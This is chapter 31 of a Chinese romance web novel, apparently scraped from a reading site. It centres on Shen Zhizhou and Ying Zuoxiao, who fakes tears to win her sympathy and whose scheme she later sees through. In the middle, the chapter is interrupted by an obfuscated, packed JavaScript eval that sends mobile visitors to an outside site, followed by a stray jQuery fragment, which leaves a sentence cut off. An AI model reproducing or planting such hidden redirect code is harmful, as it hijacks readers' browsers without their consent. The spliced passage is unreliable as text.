31.妹妹把他藏得很好

作品:《别吻我眼睛

    不等沈知舟应声,他又故意道:“手机在充电?”


    沈知舟瞪他:“那不然说什么?说我故意不回消息让人家着急吗?”


    明明她说的是反问句,应作潇好像真的认真思考起来:“让他着急着急也不错。”


    “你神经啊。”


    “那妹妹刚才怎么还骗他?怎么不告诉他,你正在跟我在一起。”应作潇止了一下,漫不经心道,“还是说妹妹也是这么骗我的?刚才说是晚上手机没电了,其实就是看到了我的消息不想回而已?”


    什么乱七八糟的,怎么又扯到这上面去了!


    沈知舟炸毛了:“真不是!哦……我发现了,你今天就是想来挑我的刺是吧?”她推了他一把,“你还好意思说我。那我问你,为什么不说我朋友给我发消息了?万一是重要的事错过了怎么办?”


    应作潇有些错愕。过了这么久,这小丫头反将一军的功夫见长。


    只是她说什么?朋友?


    应作潇很轻地笑了下,“宝宝,这里没有别人。别再演了。”


    沈知舟蹙眉:“你什么意思?应作潇,虽然我给你好脸色了,但是你别得寸进尺啊。”


    男人眉尾微扬,“我哪敢恃宠而骄,既然大小姐这么义正辞严得要求我,想必也一定能做到严以律己。那刚才答应的事一定会做到的,对吗?”


    他就这么在不走心的恭维中给她带上了高帽。沈知舟这才想到自己一时嘴快,答应了补偿他。


    现在打完电话了,她忽的又认为自己没做错,于是扬起下巴,高傲道:“其实我觉得,这事也是你有错在先。要不咱俩就算扯平了……”


    应作潇看着她像个高傲的花孔雀似的,觉得有几分好笑,但还是叹了口气,用一种无可奈何的语气说:“宝宝怎么可以说话不算话?”


    沉默片刻,沈知舟开口:“可以。但是先说好,过分的不行。”


    应作潇看着她,没同意也没反对,只是声音有些低哑:“把我眼镜摘了。”


    原来就这么简单?


    沈知舟暗自窃喜,嘴上还要佯装抱怨:“这么简单的事你怎么不自己做?”


    “妹妹说的是,我还是自己来吧,”应作潇扶住镜框直接取下眼镜,然后紧紧搂住怀中的人,“接下来的事我一个人可不行,要妹妹配合我。”


    炙热的呼吸扑在耳边,沈知舟伸手去推,拒绝道:“不行。”


    “我还没说干什么呢。”应作潇停了动作,失笑道。


    “你离得这么近,谁知道要干什么坏事?”沈知舟振振有词道。


    应作潇没回答,只是转过她的脑袋面对着她,眼神有些恍惚,他说:“皎皎知道吗?你走了以后,我准备在集团内进行改革,除掉蛀虫高层。当时那些股东就这样说我,”停了一下,似乎在哽咽,“他们说我看着正经,内心不知道多阴暗,其实就是想整垮应定为自己上位,掌控整个应氏。”


    沈知舟微怔,不明白他为什么突然又回忆上了,难道随口说出的话真的又勾出了他的伤痛记忆?


    应作潇还在继续说着:“当时应定为表面上笑眯眯地安慰我,说叔叔阿姨们只是开玩笑的,其实我知道,他是故意纵着他们这么说的。”他声音消沉了下去,“我一点办法都没有了,身后没有任何人的支持,只能咬着牙往前走。那个时候我就在想,如果你在就好了。你在的话,一定会相信我,支持我的。”


    沈知舟抿了抿唇,自己那个时候被拒绝了虽然并不是特别难过,但是心里有气,直接把他的所有联系方式都拉黑了。也不知道他难受的时候有没有发消息给自己,如果有的话……


    应作潇仿佛摄取到了她的想法,紧接着说出来的话就是她刚才正担心的:“拒绝你后,我不能告诉你实情,但是我想求得你的原谅。没想到我的消息一条都没发出去,打给你的电话也都全部石沉大海。”


    “皎皎,我从来没有怪过你。我知道你有你的苦心,我也理解你这么做。那个时候,我只是太难过了。”


    沈知舟的太阳穴跳了跳:“可以了,不要再说了。否则我觉得自己太不是人了。”


    “怎么会?皎皎觉得我在卖惨吗?可是我真的没有……”说到这里,他的语气似有伤心似有后悔,眼眶都有些微微泛红,眼眸里亮晶晶的不知是光照的,还是眼泪。


    沈知舟心头一软,连忙哄道:“我知道你不会骗我的,你别难过了。别想那些不高兴的事。”


    应作潇点点头,将她搂在怀里,手背擦过眼尾,在沈知舟看不见的地方,他的嘴角噙着一抹不易察觉的微笑。


    果然妹妹是心软的。他略使小技就开始心疼了。


    纵使Evan查岗又如何?妹妹照样把他藏得很好。


    沈知舟还有些不安地打量着他,她哪见过这场面啊。在她的印象里,应作潇别说哭了,连眼眶都没红过。


    所以当看见他要哭不哭时,沈知舟认为这一定是他最伤痛的地方,稍微一提居然都让这种坚如磐石的男人要哭出来。


    “好,我不想。”应作潇回答道。


    低头对上她心疼又无措的眼神,他忽然什么都不想了。


    这一刻什么绮念都消失了,就只想抱着她。和她一直在一起。永远也不要分开。


    “那你现在,有什么打算吗?”沈知舟忐忑地问。


    应作潇:“嗯?”


    “关于,你爸爸和弟弟他们……”沈知舟有点说不下去了。


    其实连问都不该问,但是现在两个人的氛围已经暧昧到有些尴尬了,所以她只能聊点什么来缓解一下。


    “不着急。”应作潇摸了摸她丝绸般的头发,柔顺的触感让心里那点剪不断理还乱的烦躁慢慢消退。


    不着急?


    沈知舟抿了抿唇,看到他这幅胸有成竹的样子有些担心。


    纵然应定为性格有缺陷,到底也不是什么任人拿捏的软柿子。狗急了还会跳墙,真把他们逼上绝路,难保不会做出什么同归于尽的极端举措。


    “那你呢,明天准备做什么?”应作潇看她不说话,转移了话头。


    “带Evan出去玩玩,让他找点设计灵感。”


    既然已经知道了她的朋友,也没必要在藏着什么。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095888|193559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “晚上还回来吗?”


    沈知舟差点被呛到:“莫名其妙,当然回来啊。你可别败坏我的名声。”


    话音刚落,沈知舟就觉得有几分不对劲——现在这样亲近的姿势同样也让大小姐觉得自己的边界感有被冒犯到!!


    她掰开围在腰上的手:“行了。你回去吧,早点休息。我也要睡了。”


    应作潇手上力度未松,将她抱起放在一旁,“坐好,我把鞋子拿给你。”


    沈知舟坐在沙发上,双腿垂下来摆了摆,看着应作潇的背景忽然感觉很安稳。


    小时候觉得只要跟在他的身后,什么风雨来了都不用怕。他会为她倾斜雨伞,帮她穿上雨衣。也会背着她不让污水湿了她的鞋子。


    已经过去了这么多年,现在觉得好像这些场景只发生在昨天。她只需要一喊,应作潇就会立马奔赴而来,蹲在她面前认真地问怎么了。


    沈知舟轻轻地唤他一声:“应作潇。”


    男人提着鞋子,半蹲在她面前帮她穿上:“我在,怎么了?”


    声音温润一如从前。


    沈知舟唇畔露出了一个小小的梨涡:“没事。”


    /


    一直到洗漱掉身上淡淡的酒味,沈知舟才躺在软和的被子里。因为今天经历了太多,无论是身体还是心理都已经超过了可以承受的底线。


    虽然很疲惫,但是紊乱的思绪却仿佛突然从雾中理清,变得极有条理起来。


    在床上翻过第五次身后,她终于睁开眼,深深地叹口气。


    太莫名其妙了,以前这个时候早就睡着了。


    拿过一旁的水杯喝了口水,沈知舟突然就想到了应作潇的那句“家里的水管裂了,借你家的用用”。


    他们是在电梯里遇见的。如果敲不开她家的门,应该先回家或者在门口等。


    怎么会在电梯里正好等她坐上来,而且当时电梯到一楼,他如果真的是要出门,那就该直接出电梯。


    所以,一开始就是自己一步步走进他的陷阱。


    还有问为什么和Evan拥抱!恰好证明应作潇是看着他们两个在楼下交流的。


    这个男人还真是狡诈。


    但是奇怪,为什么她不像从前那么恼怒。


    大小姐想,可能是因为今天他很乖顺,没有像从前那样跟她对着干吧。


    ……


    被子里好像有什么魔法,每次沈知舟一躺进去就能神奇地想清楚某些事情。


    比如现在她正在思考,应作潇找的理由是真的还是假的。


    拒绝告白的原因大概是真的,这种事沈知舟真的信他会干出来。


    从小他就喜欢主动承担不属于他的责任,长大后会选择一条路走到黑简直太正常了。


    不光是为了他自己,也是为了葛阿姨。


    窗帘透过的一丝光线打在房内,视线有些模糊。


    半晌过后,沈知舟轻轻擦去眼角的泪水。


    无论是葛阿姨还是曾经那个喜欢浅笑的少年都不会再回来了。


    沈知舟张了张嘴,她说:“对不起。”